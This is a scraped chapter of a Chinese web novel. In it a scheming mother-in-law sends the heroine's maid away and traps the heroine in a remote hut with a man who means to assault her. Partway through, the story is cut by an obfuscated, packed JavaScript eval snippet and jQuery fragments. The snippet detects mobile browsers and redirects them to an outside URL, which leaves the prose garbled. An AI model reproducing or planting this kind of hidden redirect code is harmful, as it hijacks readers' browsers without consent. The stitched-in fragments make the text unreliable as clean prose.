默认冷灰
24号文字
方正启体

24. 遭人暗算

作者:只剩果本书字数:K更新时间:
    门外,夏荷听了屋内婆媳的话,对顾言舒道:“原来真的不是世子透露出去的,少夫人当真误会了他。”


    夏荷虽也同顾言舒一样,对谢崇治有些抵触,但通过谢崇治回谢府久居,相处的这些日子看来,他似乎总有意无意帮她们少夫人,这让夏荷对他多了点好感,至少不如之前那般厌恶。


    想到这里,她还是想不通:“既然不是世子,那会是谁呢?”


    是谁把少夫人给世子赠送荷包的事说了出去,张氏婆媳又是如何得知的呢?


    此事顾言舒倒是不在意,是谁告的密,只要不是他便好,这些时日堵在心头的大石,突然消失了,她觉得呼吸都顺畅了,看来她当真误会了她,想到这里,她心中又生出几分愧疚。


    这时,房门突然被打开,乔琴从里面走出来,不防外面有人,她吓得惊叫了一声,里面的张氏只当她遇着什么了,也从屋内走了出来,见是顾言舒,她面上浮现慌乱,但很快镇定下来,她问她:“你站门口多久了?”


    顾言舒只当没听见她们方才在屋中所言,低眉顺眼,轻声道:“回婆母,儿媳刚来。”


    闻言,张氏和乔琴互看一眼,放下担忧,若让顾言舒听到她误会世子之言,只怕又会和世子搅合一块,到时想赶走她就难了,不过眼下她既没听见,那就怪不得她命不好了。


    想到这里,张氏把顾言舒叫来近前,罕见的携起她的手,嘘寒问暖起来,“这些时日,我和你弟媳都病着,家中大小事都靠你料理着,苦了你了。”


    顾言舒不惯和人这般亲昵,她收回手,往后退了一步,垂首道:“这是儿媳该做的,多谢婆母关心。”


    张氏见她这般不识抬举,也不再多言,冷声道:“我这头啊,疼得厉害,出门时家里治头疾的丸药忘了带,眼下身边的下人都忙,只有借夏荷一用,让她替我回府拿药。”


    说着,就把自己房中的钥匙递给夏荷,夏荷却是不接,说自己还要照顾自家少夫人,让张氏另请他人。


    顾言舒也适时道:“请婆母恕罪,儿媳还有用得着夏荷的地方,您还是请旁的嬷嬷回去替您拿药吧。”


    往日对张氏言听计从的顾言舒,少有的驳了她的面子,张氏一时气恼,开口就要训斥她不知好歹,但话到嘴边她咽了下去,眼下支开夏荷是为了计划能顺利进行下去,若意图太过明显,叫顾言舒瞧出破绽,不上钩,就功亏一篑了。


    思及此,张氏言语缓和下来,“罢了,罢了,我再另寻人吧。”


    顾言舒见她不再勉强,领着夏荷就要离开,不想才走出两步,便听身后乔琴声音带着哭腔道:“婆母你这是怎么了,快回屋躺着吧,儿媳这就回去替您拿药来。”


    “不用了,你如今才小产,不宜劳累,我歇歇便好了。”


    顾言舒没有回头,但从张氏的声音不难听出,她的头疾似乎是真的。


    正想着,乔琴对她道:“嫂嫂,我平日里见你为人良善,没想到,如今婆母病了,你是不闻不问,就是借你的人用用你都不肯,你好狠的心啊。”


    顾言舒回头看向乔琴:“我去老夫人那里看看,有没有药。”


    她的确是这般想的,张氏虽对她不好,她也不喜张氏,但婆媳之间的面子还是要维系住,毕竟她还要和张氏在谢府相处很久很久,若得罪了她,日后又少不了给她使绊子。


    不想,听了她的话后,张氏一个趔趄往前栽去,乔琴眼疾手快扶住她,问她如何了,要不要请大夫来看看。


    张氏摇头:“我的头疾只有我屋中的丸药可治,大夫来也没用。”


    言外之意,便是去老夫人那里也讨不来药。


    顾言舒见她这般,上前也搭了把手,把张氏扶稳,乔琴却是推开她的手,怒斥道:“我定要告诉给老夫人,让她惩罚夏荷。”


    看着乔琴恶狠狠的眼神,顾言舒把夏荷拦在身后:“婆母的头疾和夏荷有干系?”


    “怎么没干系,是你不让她回府拿药,”说到这里,她似乎想明白了什么事,冷笑道:“难怪你不让她回去,是想害死婆母对不对,我现在就去告诉老夫人去,让她看看你和你的仆人,是怎样的狼子野心。”


    她把张氏扶进屋,转身就要去谢老夫人房中。


    顾言舒自然知道其中厉害,若乔琴真同老夫人说了,以老夫人偏听的性子,一定会惩罚她和夏荷,她倒不怕,左不过,跪一晚,可夏荷就不同了,她是下人,少不了挨一顿打,眼下又天寒地冻,受了伤,会侵蚀元气的。


    “别去,我让夏荷回去拿药便是了。”顾言舒拦住乔琴。


    闻言,乔琴朝屋内美人榻上的张氏看了眼,微不可察轻笑了下,然后故作怒气未消的样子看向顾言舒:“嫂嫂既然这般说了,我便不去老夫人那里,不过,夏荷现在就得回去。”“


    好。”顾言舒让夏荷接了钥匙。


    待夏荷走后,张氏的头疾似乎好了些,她撑着半倚靠在榻上,对顾言舒道:“你四弟媳妇如今小产不久,不宜去香烛房,五弟媳又是个不管事儿的,清点香烛之事,还得由你来,若少了,你便拟个单子来,到时官中出钱买。”


    往年这些事都是张氏和乔琴做的,不仅为谢老夫人信她们,二来实是这些事上有利可图,张氏自然争抢着做。


    张氏说这话时,就好像手里拿着块肥肉,等着顾言舒去咬,她能吃上肉,得谢她。


    可顾言舒并不想揽这活,吃拿官中银钱的事,她也做不出来,于是推辞道:“多谢婆母厚爱,儿媳于此事上不通,还请您托付给他人。”


    张氏这次少有的,很有耐心,她对她道:“无妨的,你不会,我让张嬷嬷教你。”见此,顾言舒也不好多说什么,和张嬷嬷往北边的香烛房去。


    *


    夏荷出庄子的大门时,遇到了抱剑倚靠在大门口歪脖子树下的谢启。见是三少夫人贴身丫鬟,谢启随口问了一句,她这般急去哪里。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504116|202858||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>夏荷想着早去早回,边上马车,边回话:“二夫人头疼身边又无人可用,让我替她回府拿药。”


    看来,真的很急,话未说完,马车已行了一段距离。


    可谢启到底是暗卫出身,他很快察觉出不对劲,此次来家庙祭祀,足足来了十马车的人,单二房就有四车,少说带来了十个丫鬟,这么多人,竟然说无人可用,想必是二房故意支开夏荷。


    想到这里,谢启觉得很要必要把这件事告诉谢崇治,于是腾空一跃,去了谢崇治所在的屋子外面。


    推门而入时,谢崇治还在处理公务,他问谢启:“有何事?”


    谢启把在外面遇到夏荷的事对他说了:“三少夫人身边就这一个丫鬟,还被支走了,只怕是……”


    二房主母故意为之,至于为何,谢启猜不到。


    谢崇治听了他的话,搁下笔,起身就往顾言舒所在的小屋去,却不见她身影,他又找了几个路过的仆从,也说未见她。


    往日淡定从容,冷静自持的人,此刻面上少有的浮现出慌乱之色,他问谢启:“夏荷可有说她去了哪里?”


    谢启愣愣摇头。


    *


    顾言舒跟着张嬷嬷去往北边放香烛的小屋,这处极为偏僻,隐在一处密林之中,以往她未来过这里,是以,当张嬷嬷带着她,绕了许多弯路,她并未起疑,只是心里隐隐有些不安。


    她问张嬷嬷:“还有多久到?”


    张嬷嬷讪笑回她:“快了,就在前面。”


    说着,她指向不远处的一处房屋,“那里就是。”


    又走了一段路,终于到了,顾言舒这才发现,小屋破败的不成样子,四周静悄悄的,看不见一个人影,这让她越发不安起来,生了退意。


    她对张嬷嬷道:“一屋子的香烛,靠我们清点,只怕明日也清点不完,不若我们再去找几个人来。”


    说着,她不待张嬷嬷回答,转身往林外走,然而才走出两步,便被躲在树后的男子,拦住去路。


    那男子看上去三十出头,身形高大,笑起来极其猥琐,顾言舒心知不妙,顿住脚步,颤声问他:“你想作何?”


    “我想作何,你不知道吗?”


    那人说着,朝顾言舒逼近。


    顾言舒边退边呼救,然而这里实在太过偏僻,林中只有她的回音。


    “我劝你省省力气,从了我。”


    彼时那男子已钳制住顾言舒的手腕,顾言舒哪里是他的对手,被他拽进小屋中。小屋中,只有一张破败的床榻,分明是平日里守林人的居所,哪里是香烛房,顾言舒这才惊觉,是张氏要害她。


    她俯身重咬那人的手,挣脱禁锢,往屋外跑,若留在这里,后果不堪设想。


    然而,还不待跨出去,她再次被拉进屋,这次那男子不仅落了闩,还把窗户用木头抵住了,眼下的顾言舒就如笼中鸟,无论如何也逃不出去,只能瑟缩在角落里,绝望看着眼前的一切。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)